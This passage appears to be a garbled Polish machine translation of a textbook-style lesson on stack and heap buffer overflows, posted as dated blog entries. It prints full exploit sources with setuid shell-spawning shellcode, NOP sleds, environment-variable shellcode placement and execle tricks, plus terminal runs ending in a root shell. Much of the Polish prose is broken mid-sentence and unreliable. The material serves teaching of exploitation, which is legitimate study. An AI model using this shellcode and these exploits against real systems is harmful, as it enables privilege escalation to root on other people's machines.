0x080484a6 < main+50 >: call 0x804833c < exit@plt >

0x080484ab < main+55 >: mov eax,DWORD PTR [ebp+12]

0x080484ae < main+58 >: add eax,0x4

0x080484b1 < main+61 >: mov eax,DWORD PTR [eax]

0x080484b3 < main+63 >: mov DWORD PTR [esp],eax

0x080484b6 < main+66 >: call 0x8048414 < check_authentication >

0x080484bb < main+71 >: test eax,eax

0x080484bd < main+73 >: je 0x80484e5 < main+113 >

0x080484bf < main+75 >: mov DWORD PTR [esp],0x80485fb

0x080484c6 < main+82 >: call 0x804831c < printf@plt >

0x080484cb < main+87 >: mov DWORD PTR [esp],0x8048619

0x080484d2 < main+94 >: call 0x804831c < printf@plt >

0x080484d7 < main+99 >: mov DWORD PTR [esp],0x8048630

0x080484de < main+106 >: call 0x804831c < printf@plt >

0x080484e3 < main+111 >: jmp 0x80484f1 < main+125 >

0x080484e5 < main+113 >: mov DWORD PTR [esp],0x804864d

0x080484ec < main+120 >: call 0x804831c < printf@plt >

0x080484f1 < main+125 >: leave

0x080484f2 < main+126 >: ret

End of assembler dump.

(gdb)

Ta sekcja kodu oznaczona wytłuszczonym drukiem zawiera instrukcje wyświetlające komunikat Access Zaakceptowany. Początek tej wartości, ten blok instrukcji zostanie wykonany. Dokładna odległość między adresem powrotnym a początkiem flag ustawiania_opcji_hasła. Dopóki początek bufora jest wyrównany z DWORDami na stosie, ta zmienność może zostać uwzględniona, gdy instancje nadpisują adres zwrotny, nawet jeśli przesunął się on z powodu optymalizacji kompilatora.

reader@hacking:~/booksrc $ ./auth_overflow2 $(perl -e 'print "\xbf\x84\x04\x08"x10')

-=-=-=-=-=-=-=-=-=-=-=-=-=-

Access Granted.

-=-=-=-=-=-=-=-=-=-=-=-=-=-

Segmentation fault (core dumped)

reader@hacking:~/booksrc $

W powyższym przykładzie adres docelowy 0x080484bf jest powtarzany 10 razy, aby upewnić się, że adres powrotu jest nadpisywany zwrotami, wykonanie przeskakuje bezpośrednio do nowego adresu docelowego zamiast powrotu do następnej instrukcji po wywołaniu. Daje to w pierwotnym programowaniu. Program notesearch jest podatny na przepełnienie bufora w linii zaznaczonej tutaj pogrubioną czcionką.

int main(int argc, char *argv[]) {

int userid, printing=1, fd; // File descriptor

char searchstring[100];

if(argc > 1) // If there is an arg

strcpy(searchstring, argv[1]); // that is the search string;

else // otherwise,

searchstring[0] = 0; // search string is empty.

Exploit wykorzystujący notkę wykorzystuje podobną technikę do przepełnienia bufora w adres zwrotny; jednak sam wstrzykuje własne nazywa się shellcode i informuje program, aby przywrócił przywileje i wyświetlił monit o powłokę. Jest to szczególnie niszczycielski dostęp dla wielu użytkowników, działa on z wyższymi uprawnieniami, więc może uzyskać dostęp do swojego pliku danych, ale logika programu uniemożliwia użytkownikowi najmniejsze użycie tego. Ale kiedy można wprowadzić nowe instrukcje, a wykonanie można kontrolować za pomocą przepełnienia bufora, logika programu jest bez znaczenia. zaprogramowane do zrobienia, gdy nadal działa z podwyższonymi uprawnieniami. Jest to niebezpieczna kombinacja, która pozwala na t

reader@hacking:~/booksrc $ gcc -g exploit_notesearch.c

reader@hacking:~/booksrc $ gdb -q ./a.out

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) list 1

1 #include < stdio.h >

2 #include < stdlib.h >

3 #include < string.h >

4 char shellcode[]=

5 "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"

6 "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"

7 "\xe1\xcd\x80";

8

9 int main(int argc, char *argv[]) {

10 unsigned int i, *ptr, ret, offset=270;

(gdb)

11 char *command, *buffer;

12

13 command = (char *) malloc(200);

14 bzero(command, 200); // Zero out the new memory.

15

16 strcpy(command, "./notesearch \'"); // Start command buffer.

17 buffer = command + strlen(command); // Set buffer at the end.

18

19 if(argc > 1) // Set offset.

20 offset = a toi(argv[1]);

(gdb)

21

22 ret = (unsigned int) &i - offset; // Set return address.

23

24 for(i=0; i < 160; i+=4) // Fill buffer with return address.

25 *((unsigned int *)(buffer+i)) = ret;

26 memset(buffer, 0x90, 60); // Build NOP sled.

27 memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

28

29 strcat(command, "\'");

30

(gdb) break 26

Breakpoint 1 at 0x80485fa: file exploit_notesearch.c, line 26.

(gdb) break 27

Breakpoint 2 at 0x8048615: file exploit_notesearch.c, line 27.

(gdb) break 28

Breakpoint 3 at 0x8048633: file exploit_notesearch.c, line 28.

(gdb)

Exploit notesearch generuje bufor w liniach od 24 do 27 (pokazany powyżej pogrubiony). Pierwsza część to pętla for, która za każdym razem wypełnia przyrosty o 4. Ta wartość jest dodawana do adresu bufora, a całą rzeczą jest typecast jako niepodpisana liczba całkowita, cała 4-bajtowa wartość znaleziona w ret jest zapisana.

(gdb) run

Starting program: /home/reader/booksrc/a.out

Breakpoint 1, main (argc=1, argv=0xbffff894) at exploit_notesearch.c:26

26 memset(buffer, 0x90, 60); // build NOP sled

(gdb) x/40x buffer

0x804a016: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

0x804a026: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

0x804a036: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

0x804a046: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

0x804a056: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

0x804a066: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

0x804a096: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

0x804a0a6: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

(gdb) x/s command

0x804a008: "./notesearch

'

"

(gdb)

W pierwszym punkcie przerwania wskaźnik bufora pokazuje wynik pętli for. Możesz również zobaczyć relację między zestawem memek (), który zaczyna się na początku bufora i ustawia 60 bajtów pamięci o wartości 0x90

(gdb) cont

Continuing.

Breakpoint 2, main (argc=1, argv=0xbffff894) at exploit_notesearch.c:27

27 memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

(gdb) x/40x buffer

0x804a016: 0x90909090 0x90909090 0x90909090 0x90909090

0x804a026: 0x90909090 0x90909090 0x90909090 0x90909090

0x804a036: 0x90909090 0x90909090 0x90909090 0x90909090

0x804a046: 0x90909090 0x90909090 0x90909090 0xbffff6f6

0x804a056: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

0x804a066: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

0x804a096: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

0x804a0a6: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

(gdb) x/s command

0x804a008: "./notesearch '", '\220' < repeats 60 times >, "

"

(gdb)

Na koniec wywołanie memcpy () spowoduje skopiowanie bajtów kodu powłoki do bufora + 60.

(gdb) cont

Continuing.

Breakpoint 3, main (argc=1, argv=0xbffff894) at exploit_notesearch.c:29

29 strcat(command, "\'");

(gdb) x/40x buffer

0x804a016: 0x90909090 0x90909090 0x90909090 0x90909090

0x804a026: 0x90909090 0x90909090 0x90909090 0x90909090

0x804a036: 0x90909090 0x90909090 0x90909090 0x90909090

0x804a046: 0x90909090 0x90909090 0x90909090 0x3158466a

0x804a056: 0xcdc931db 0x2f685180 0x6868732f 0x6e69622f

0x804a066: 0x5351e389 0xb099e189 0xbf80cd0b 0xbffff6f6

0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

0x804a096: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

0x804a0a6: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6

(gdb) x/s command

0x804a008: "./notesearch '", '\220' < repeats 60 times >, "111\231g\200j\vXQh//shh/

bin\211Q\211S\211\200"

(gdb)

Teraz bufor zawiera żądany kod powłoki i jest wystarczająco długi, aby nadpisać adres zwrotny. Trudność w znalezieniu techniki adresowania. Ale ten adres zwrotny musi wskazywać na kod powłoki znajdujący się w tym samym buforze. Oznacza to, że rzeczywisty adres jest trudną prognozą, którą można próbować dokonać przy dynamicznie zmieniającym się stosie. Na szczęście istnieje inna technika hakerska, nazywana instrukcją montażu, która jest krótka, bez żadnej operacji. Jest to instrukcja jednobajtowa, która absolutnie nic nie robi. Te instrukcje i są rzeczywiście niezbędne w architekturze procesora Sparc, z powodu potokowania instrukcji. W takim przypadku instrukcje NOP są dużymi tablicami (lub saniami) tych instrukcji NOP i umieszczają je przed kodem powłoki; następnie, jeśli rejestr EIP wskazuje na dowolną instrukcję adresową, pojedynczo, aż w końcu dotrze do kodu powłoki. Oznacza to, że tak długo, jak adres powrotu zostanie zastąpiony sled do kodu powłoki, który zostanie wykonany poprawnie. W architekturze x 86 instrukcja NOP jest odpowiednikiem nawet z NOP, przybliżona lokalizacja bufora w pamięci musi być wcześniej przewidziana. Jedna technika przybliżania odniesienia. Odejmując przesunięcie od tej lokalizacji, można uzyskać względny adres dowolnej zmiennej.

Z exploit_notesearch.c

unsigned int i, *ptr, ret, offset=270;

char *command, *buffer;

command = (char *) malloc(200);

bzero(command, 200); // Zero out the new memory.

strcpy(command, "./notesearch \'"); // Start command buffer.

buffer = command + strlen(command); // Set buffer at the end.

if(argc > 1) // Set offset.

offset = atoi(argv[1]);

ret = (unsigned int) &i - offset; // Set return address.

W exploicie notesearch adres zmiennej i w ramce stosu głównego () jest używany jako punkt odniesienia. Następnie przesunięcie przesunięcia zostało określone jako 270, ale w jaki sposób obliczana jest ta liczba?Najłatwiejszym sposobem określenia tego przesunięcia jest eksperyment. Debugger nieznacznie przesunie pamięć i upuszcza przywileje znacznie mniej przydatne w tym przypadku.Ponieważ exploit do notowania pozwala na opcjonalny argument linii poleceń w celu zdefiniowania offsetu, różne przesunięcia mogą być szybkie

reader@hacking:~/booksrc $ gcc exploit_notesearch.c

reader@hacking:~/booksrc $ ./a.out 100

-------[ end of note data ]-------

reader@hacking:~/booksrc $ ./a.out 200

-------[ end of note data ]-------

reader@hacking:~/booksrc $

Jednak robienie tego ręcznie jest nudne i głupie. BASH ma również pętlę for, która może być wykorzystana do zautomatyzowania tego procesu. To, które jest zwykle używane z zapętleniem.

reader@hacking:~/booksrc $ seq 1 10

1

2

3

4

5

6

7

8

9

10

reader@hacking:~/booksrc $ seq 1 3 10

1

4

7

10

reader@hacking:~/booksrc $

Gdy używane są tylko dwa argumenty, generowane są wszystkie liczby z pierwszego argumentu do drugiego. Kiedy trzy argumenty czas. Można tego użyć przy podstawianiu komend, aby sterować pętlą BASH

reader@hacking:~/booksrc $ for i in $(seq 1 3 10)

> do

> echo The value is $i

> done

The value is 1

The value is 4

The value is 7

The value is 10

reader@hacking:~/booksrc $

Funkcja pętli for powinna być znana, nawet jeśli składnia jest nieco inna. Zmienna powłoki $ i iteruje między wszystkimi słowami kluczowymi do zrobienia. Można to wykorzystać do szybkiego przetestowania wielu różnych przesunięć. Od NOP sanie bajtów wiggle pokoju. Możemy bezpiecznie zwiększyć pętlę offsetową o krok 30 bez niebezpieczeństwa utraty sań.

reader@hacking:~/booksrc $ for i in $(seq 0 30 300)

> do

> echo Trying offset $i

> ./a.out $i

> done

Trying offset 0

[DEBUG] found a 34 byte note for user id 999

[DEBUG] found a 41 byte note for user id 999

Kiedy używane jest prawe przesunięcie, adres powrotu jest nadpisywany wartością wskazującą gdzieś na saniach NOP. Po wejściu w instrukcje wstrzykiwanego kodu powłoki. W ten sposób została wykryta domyślna wartość przesunięcia.

Powrót

12.07.2020

Korzystanie ze środowiska

Czasami bufor będzie zbyt mały, aby pomieścić nawet kod powłoki. Na szczęście istnieją inne miejsca w pamięci, w których różne rzeczy w powłoce, ale to, do czego są używane, nie są tak ważne, jak fakt, że znajdują się na stosie i można je ustawić na podstawie testu łańcuchowego. Dostęp do tej zmiennej środowiskowej można uzyskać, dodając znak dolara do nazwy. Ponadto zmienne środowiskowe komendy env są już ustawione.

reader@hacking:~/booksrc $ export MYVAR=test

reader@hacking:~/booksrc $ echo $MYVAR

test

reader@hacking:~/booksrc $ env

SSH_AGENT_PID=7531

SHELL=/bin/bash

DESKTOP_STARTUP_ID=

TERM=xterm

GTK_RC_FILES=/etc/gtk/gtkrc:/home/reader/.gtkrc-1.2-gnome2

WINDOWID=39845969

OLDPWD=/home/reader

USER=reader

LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;

01:or=4

0;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:

*.arj=01;

31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:

*.deb=01;31:*

.rpm=01;31:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:

*.pgm=01;35

:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:

*.mov=01;

35:*.mpg=01;35:*.mpeg=01;35:*.avi=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:

*.xwd=01;

35:*.flac=01;35:*.mp3=01;35:*.mpc=01;35:*.ogg=01;35:*.wav=01;35:

SSH_AUTH_SOCK=/tmp/ssh-EpSEbS7489/agent.7489

GNOME_KEYRING_SOCKET=/tmp/keyring-AyzuEi/socket

SESSION_MANAGER=local/hacking:/tmp/.ICE-unix/7489

USERNAME=reader

DESKTOP_SESSION=default.desktop

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

GDM_XSERVER_LOCATION=local

PWD=/home/reader/booksrc

LANG=en_US.UTF-8

GDMSESSION=default.desktop

HISTCONTROL=ignoreboth

HOME=/home/reader

SHLVL=1

GNOME_DESKTOP_SESSION_ID=Default

LOGNAME=reader

DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-

DxW6W1OH1O,guid=4f4e0e9cc6f68009a059740046e28e35

LESSOPEN=| /usr/bin/lesspipe %s

DISPLAY=:0.0

MYVAR=test

LESSCLOSE=/usr/bin/lesspipe %s %s

RUNNING_UNDER_GDM=yes

COLORTERM=gnome-terminal

XAUTHORITY=/home/reader/.Xauthority

_=/usr/bin/env

reader@hacking:~/booksrc $

Podobnie, kod powłoki może być umieszczony w zmiennej środowiskowej, ale najpierw musi być w formie, którą możemy łatwo manipulować. Do pliku w formie binarnej. Standardowe narzędzia powłoki głowy, grep i cut mogą być użyte do izolowania tylko heksadecytyny

reader@hacking:~/booksrc $ head exploit_notesearch.c

#include < stdio.h >

#include < stdlib.h >

#include < string.h >

char shellcode[]=

"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"

"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"

"\xe1\xcd\x80";

int main(int argc, char *argv[]) {

unsigned int i, *ptr, ret, offset=270;

reader@hacking:~/booksrc $ head exploit_notesearch.c | grep "^\""

"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"

"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"

"\xe1\xcd\x80";

reader@hacking:~/booksrc $ head exploit_notesearch.c | grep "^\"" | cut -d\" -f2

\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68

\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89

\xe1\xcd\x80

reader@hacking:~/booksrc $

Pierwsze 10 wierszy programu jest podłączonych do grep, które pokazuje tylko linie zaczynające się od cudzysłowu. To izoluje opcje, aby wyświetlić tylko bajty między dwoma cudzysłowami. Pętla BASH's for w rzeczywistości może być użyta do wysłania każdej z tych linii do komendy echo z opcjami wiersza polecenia

reader@hacking:~/booksrc $ for i in $(head exploit_notesearch.c | grep "^\"" | cut -d\"

-f2)

> do

> echo -en $i

> done > shellcode.bin

reader@hacking:~/booksrc $ hexdump -C shellcode.bin

00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|

00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|

00000020 e1 cd 80 |...|

00000023

reader@hacking:~/booksrc $

Teraz mamy kod powłoki w pliku o nazwie shellcode.bin. Może to być użyte przy podstawianiu poleceń w celu umieszczenia kodu powłoki. I tak po prostu, shellcode jest teraz na stosie w zmiennej środowiskowej, wraz z 200-bajtowym saniami NOP. Oznacza to zastąpienie zapisanego adresu zwrotnego. Zmienne środowiskowe znajdują się w dolnej części stosu, więc jest to miejsce

reader@hacking:~/booksrc $ gdb -q ./notesearch

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) break main

Breakpoint 1 at 0x804873c

(gdb) run

Starting program: /home/reader/booksrc/notesearch

Breakpoint 1, 0x0804873c in main ()

(gdb)

Punkt przerwania jest ustawiany na początku main (), a program jest uruchamiany. Spowoduje to ustawienie pamięci dla programu, ale znajdzie się na dole stosu.

(gdb) i r esp

esp 0xbffff660 0xbffff660

(gdb) x/24s $esp + 0x240

0xbffff8a0: ""

0xbffff8a1: ""

0xbffff8a2: ""

0xbffff8a3: ""

0xbffff8a4: ""

0xbffff8a5: ""

0xbffff8a6: ""

0xbffff8a7: ""

0xbffff8a8: ""

0xbffff8a9: ""

0xbffff8aa: ""

0xbffff8ab: "i686"

0xbffff8b0: "/home/reader/booksrc/notesearch"

0xbffff8d0: "SSH_AGENT_PID=7531"

0xbffffd56: "SHELLCODE=", '\220' < repeats 190 times >...

0xbffff9ab: "\220\220\220\220\220\220\220\220\220\2201 1 1 \231 \200j\vXQh//

shh/bin\211 Q\211 S\211 \200"

0xbffff9d9: "TERM=xterm"

0xbffff9e4: "DESKTOP_STARTUP_ID="

0xbffff9f8: "SHELL=/bin/bash"

0xbffffa08: "GTK_RC_FILES=/etc/gtk/gtkrc:/home/reader/.gtkrc-1.2-gnome2"

0xbffffa43: "WINDOWID=39845969"

0xbffffa55: "USER=reader"

0xbffffa61:

"LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;

33;01:or=

40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:

*.arj=01

;31:*.taz=0"...

0xbffffb29:

"1;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.deb=01;31:

*.rpm=01;3

1:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:

*.ppm=01

;35:*.tga=0"...

(gdb) x/s 0xbffff8e3

0xbffff8e3: "SHELLCODE=", '\220' < repeats 190 times >...

(gdb) x/s 0xbffff8e3 + 100

0xbffff947: '\220' < repeats 110 times >, "1 1 1 \231 \200j\vXQh//shh/bin\

211 Q\211 S\211 \200"

(gdb)

Debugger ujawnia lokalizację kodu powłoki, pogrubioną powyżej. (Gdy program jest uruchamiany poza debuggerem, informacja o stosie, która przesuwa adresy wokół bitu.Ale z 200-bajtowym saniami NOP, te niespójności nie są powyżej, adres 0xbffff947 jest pokazany jako bliski środek sań NOP, który powinien dawać nam wystarczająco dużo miejsca do poruszania się, a eksploatacja jest po prostu kwestią nadpisania adresu zwrotnego pod tym adresem.

reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x47\xf9\xff\xbf"x40')

[DEBUG] found a 34 byte note for user id 999

[DEBUG] found a 41 byte note for user id 999

-------[ end of note data ]-------

sh-3.2# whoami

root

sh-3.2#

Adres docelowy powtarza się wystarczająco często, aby przepełnić adres zwrotny, a wykonanie powraca do sań NOP w miejscu, w którym bufor przepełnienia nie jest wystarczająco duży, aby pomieścić kod powłoki, zmienna środowiskowa może być używana z dużymi saniami NOP. Ogromne sanie NOP to świetna pomoc, gdy trzeba zgadywać na docelowy adres zwrotny, ale okazuje się, że lokalizacje zmiennych. W standardowej bibliotece C znajduje się funkcja o nazwie getenv (), która przyjmuje nazwę zmiennej środowiskowej, ponieważ getenv_example.c demonstruje użycie getenv ().

getenv_example.c

#include < stdio.h >

#include < stdlib.h >

int main(int argc, char *argv[]) {

printf("%s is at %p\n", argv[1], getenv(argv[1]));

}

Po skompilowaniu i uruchomieniu program wyświetli lokalizację danej zmiennej środowiskowej w swojej pamięci. Zapewnia to, że program docelowy jest uruchamiany.

reader@hacking:~/booksrc $ gcc getenv_example.c

reader@hacking:~/booksrc $ ./a.out SHELLCODE

SHELLCODE is at 0xbffff90b

reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x0b\xf9\xff\xbf"x40')

[DEBUG] found a 34 byte note for user id 999

[DEBUG] found a 41 byte note for user id 999

-------[ end of note data ]-------

sh-3.2#

Jest to wystarczająco dokładne z dużymi saniami NOP, ale kiedy ta sama próba jest bez sań, program ulega awarii.

reader@hacking:~/booksrc $ export SLEDLESS=$(cat shellcode.bin)

reader@hacking:~/booksrc $ ./a.out SLEDLESS

SLEDLESS is at 0xbfffff46

reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x46\xff\xff\xbf"x40')

[DEBUG] found a 34 byte note for user id 999

[DEBUG] found a 41 byte note for user id 999

-------[ end of note data ]-------

Segmentation fault

reader@hacking:~/booksrc $

Aby móc przewidzieć dokładny adres pamięci, należy zbadać różnice w adresach. Długość adresu zmiennych środowiskowych. Ten efekt można dalej zbadać, zmieniając nazwę programu i eksperymentując. umiejętności dla hakera.

reader@hacking:~/booksrc $ cp a.out a

reader@hacking:~/booksrc $ ./a SLEDLESS

SLEDLESS is at 0xbfffff4e

reader@hacking:~/booksrc $ cp a.out bb

reader@hacking:~/booksrc $ ./bb SLEDLESS

SLEDLESS is at 0xbfffff4c

reader@hacking:~/booksrc $ cp a.out ccc

reader@hacking:~/booksrc $ ./ccc SLEDLESS

SLEDLESS is at 0xbfffff4a

reader@hacking:~/booksrc $ ./a.out SLEDLESS

SLEDLESS is at 0xbfffff46

reader@hacking:~/booksrc $ gdb -q

(gdb) p 0xbfffff4e - 0xbfffff46

$1 = 8

(gdb) quit

reader@hacking:~/booksrc $

Jak pokazuje poprzedni eksperyment, długość nazwy programu wykonującego ma wpływ na lokalizację wyeksportowanych bajtów w adresie zmiennej środowiskowej dla każdego jednobajtowego zwiększenia długości nazwy programu. Zawiera nazwy a.out i a to cztery bajty, a różnica między adresem 0xbfffff4e a 0xbfffff46 wynosi osiem bajtów. To gdzieś, co powoduje przesunięcie. Uzbrojony w tę wiedzę, dokładny adres zmiennej środowiskowej można przewidzieć, gdy program narażony na atak to getenvaddr.c program dostosowuje adres w oparciu o różnicę w długości nazwy programu, aby zapewnić bardzo dokładną

getenvaddr.c

Code View:

#include < stdio.h >

#include < stdlib.h >

#include < string.h >

int main(int argc, char *argv[]) {

char *ptr;

if(argc < 3) {

printf("Usage: %s < environment var > < target program name >\n", argv[0]);

exit(0);

}

ptr = getenv(argv[1]); /* Get env var location. */

ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */

printf("%s will be at %p\n", argv[1], ptr);

}

Po skompilowaniu program ten może dokładnie przewidzieć, gdzie zmienna środowiskowa będzie w pamięci podczas programu docelowego bez potrzeby sondowania NOP.

reader@hacking:~/booksrc $ gcc -o getenvaddr getenvaddr.c

reader@hacking:~/booksrc $ ./getenvaddr SLEDLESS ./notesearch

SLEDLESS will be at 0xbfffff3c

reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x3c\xff\xff\xbf"x40')

[DEBUG] found a 34 byte note for user id 999

[DEBUG] found a 41 byte note for user id 999

Jak widać, kod exploitów nie zawsze jest potrzebny do wykorzystania programów. Użycie zmiennych środowiskowych upraszcza rzeczy, które można wykorzystać w celu zwiększenia wiarygodności kodu exploita. Funkcja system () jest używana w programie notesearch_exploit.c do wykonania polecenia. Ta funkcja uruchamia nowy proces wykonywania poleceń z argumentu wiersza polecenia przekazanego do niego. Wyszukiwania kodu Google można użyć do znalezienia kodu źródłowego

Code from libc-2.2.2

int system(const char * cmd)

{

int ret, pid, waitstat;

void (*sigint) (), (*sigquit) ();

if ((pid = fork()) == 0) {

execl("/bin/sh", "sh", "-c", cmd, NULL);

exit(127);

}

if (pid < 0) return(127 << 8);

sigint = signal(SIGINT, SIG_IGN);

sigquit = signal(SIGQUIT, SIG_IGN);

while ((waitstat = wait(&ret)) != pid && waitstat != -1);

if (waitstat == -1) ret = -1;

signal(SIGINT, sigint);

signal(SIGQUIT, sigquit);

return(ret);

}

Ważna część tej funkcji jest pogrubiona. Funkcja fork () rozpoczyna nowy proces, a funkcja execl () używa argumentów. Używanie system () może czasami powodować problemy. Jeśli program setuid używa system (), uprawnienia nie zostaną przeniesione, sprawa dotyczy naszego exploita, ale exploit tak naprawdę nie musi rozpoczynać nowego procesu. Możemy zignorować fork () Funkcja execl () należy do rodziny funkcji, które wykonują komendy przez zastąpienie bieżącego procesu nowymi i są poprzedzane przez każdy z argumentów linii poleceń. Drugi argument funkcji jest w rzeczywistości zerowym wierszem polecenia, aby zakończyć listę argumentów, podobnie do tego, jak zerowy bajt kończy łańcuch. Funkcja execl () ma siostrzaną funkcję execle (), która ma jeden dodatkowy argument określający środowisko w postaci tablicy wskaźników do zakończonych znakiem NUL łańcuchów dla każdej zmiennej środowiskowej, a sama tablica środowiska z execl () , używane jest istniejące środowisko, ale jeśli używasz polecenia execle (), można określić całe środowisko. Jeśli środowisko do zakończenia listy), jedyną zmienną środowiskową będzie kod powłoki. Dzięki temu jego adres jest łatwy do obliczenia. W systemie Linux środowisko, minus długość nazwy wykonywanego programu. Ponieważ ten adres będzie dokładny, nie ma potrzeby wystarczającej ilości czasu na przepełnienie adresu zwrotnego w stosie, jak pokazano w exploit_nosearch_env.c.

exploit_notesearch_env.c

#include < stdio.h >

#include < stdlib.h >

#include < string.h >

#include < unistd.h >

char shellcode[]=

"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"

"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"

"\xe1\xcd\x80";

int main(int argc, char *argv[]) {

char *env[2] = {shellcode, 0};

unsigned int i, ret;

char *buffer = (char *) malloc(160);

ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./notesearch");

for(i=0; i < 160; i+=4)

*((unsigned int *)(buffer+i)) = ret;

execle("./notesearch", "notesearch", buffer, 0, env);

free(buffer);

}

Ten exploit jest bardziej niezawodny, ponieważ nie potrzebuje sań NOP ani żadnych zgadywanek dotyczących offsetu. Nie uruchamia się też nic więcej reader@hacking:~/booksrc $ gcc exploit_notesearch_env.c

reader@hacking:~/booksrc $ ./a.out

-------[ end of note data ]-------

sh-3.2#



Powrót

13.07.2020

Przepełnienia w innych segmentach

Przepełnienie bufora może się zdarzyć w innych segmentach pamięci, takich jak sterty i bss. Podobnie jak w auth_overflow.c, jeśli ważna zmienna znajduje się po buforze podatnym na przepełnienie, przepływ sterowania programem może zostać zmieniony. Jest to prawdą niezależnie od segmentu pamięci, w którym znajdują się te zmienne; jednak kontrola jest raczej ograniczona. Umiejętność znalezienia tych punktów kontrolnych i uczenia się, jak najlepiej je wykorzystywać, wymaga jedynie pewnego doświadczenia i twórczego myślenia. Chociaż tego typu przepełnienia nie są tak standardowe, jak przepełnienia stosowe, mogą być równie skuteczne.

Powrót

14.07.2020

Podstawowe przepełnienie stosu

Program notujący z rozdziału 0x200 jest również podatny na lukę w zabezpieczeniach polegającą na przepełnieniu bufora. Na stercie są przydzielane dwa bufory, a pierwszy argument linii poleceń jest kopiowany do pierwszego bufora. Może wystąpić przepełnienie.

Fragment z notetaker.c

buffer = (char *) ec_malloc(100);

datafile = (char *) ec_malloc(20);

strcpy(datafile, "/var/notes");

if(argc < 2) // If there aren't command-line arguments,

usage(argv[0], datafile); // display usage message and exit.

strcpy(buffer, argv[1]); // Copy into buffer.

printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer);

printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile);;

W normalnych warunkach przydział buforu znajduje się w 0x804a008, czyli przed alokacją zbioru danych w 0x804a070, jak pokazuje wynik debugowania. Odległość między tymi dwoma adresami wynosi 104 bajty.

reader@hacking:~/booksrc $ ./notetaker test

[DEBUG] buffer @ 0x804a008: 'test'

[DEBUG] datafile @ 0x804a070: '/var/notes'

[DEBUG] file descriptor is 3

Note has been saved.

reader@hacking:~/booksrc $ gdb -q

(gdb) p 0x804a070 - 0x804a008

$1 = 104

(gdb) quit

reader@hacking:~/booksrc $

